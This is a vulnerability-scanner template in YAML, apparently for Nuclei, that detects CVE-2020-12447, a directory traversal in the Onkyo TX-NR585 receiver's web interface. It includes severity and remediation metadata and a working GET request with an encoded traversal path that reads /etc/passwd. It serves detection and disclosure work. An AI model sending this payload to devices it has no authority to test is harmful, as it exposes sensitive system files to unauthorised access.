id: CVE-2020-12447

info:
  name: Onkyo TX-NR585 Web Interface - Directory Traversal
  author: 0x_Akoko
  severity: high
  description: Onkyo TX-NR585 1000-0000-000-0008-0000 devices allows remote unauthenticated users on the network to read sensitive files via %2e%2e%2f directory traversal and local file inclusion.
  impact: |
    An attacker can access sensitive files on the system, potentially leading to unauthorized access, information disclosure, or further exploitation.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the directory traversal vulnerability.
  reference:
    - https://blog.spookysec.net/onkyo-lfi
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12447
    - https://blog.spookysec.net/onkyo-lfi/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-12447
    cwe-id: CWE-22
    epss-score: 0.79818
    epss-percentile: 0.99121
    cpe: cpe:2.3:o:onkyo:tx-nr585_firmware:1000-0000-000-0008-0000:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: onkyo
    product: tx-nr585_firmware
  tags: cve,cve2020,onkyo,lfi,traversal,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cc29c3840d12f475656fa6006cddaeee2dfc71fde36ea7aa1ea93744d3c347020220562013089b0206e1d847100219f304c46b387fc65359ce810b9372207b5750ec:922c64590222798bb761d5b6d8e72950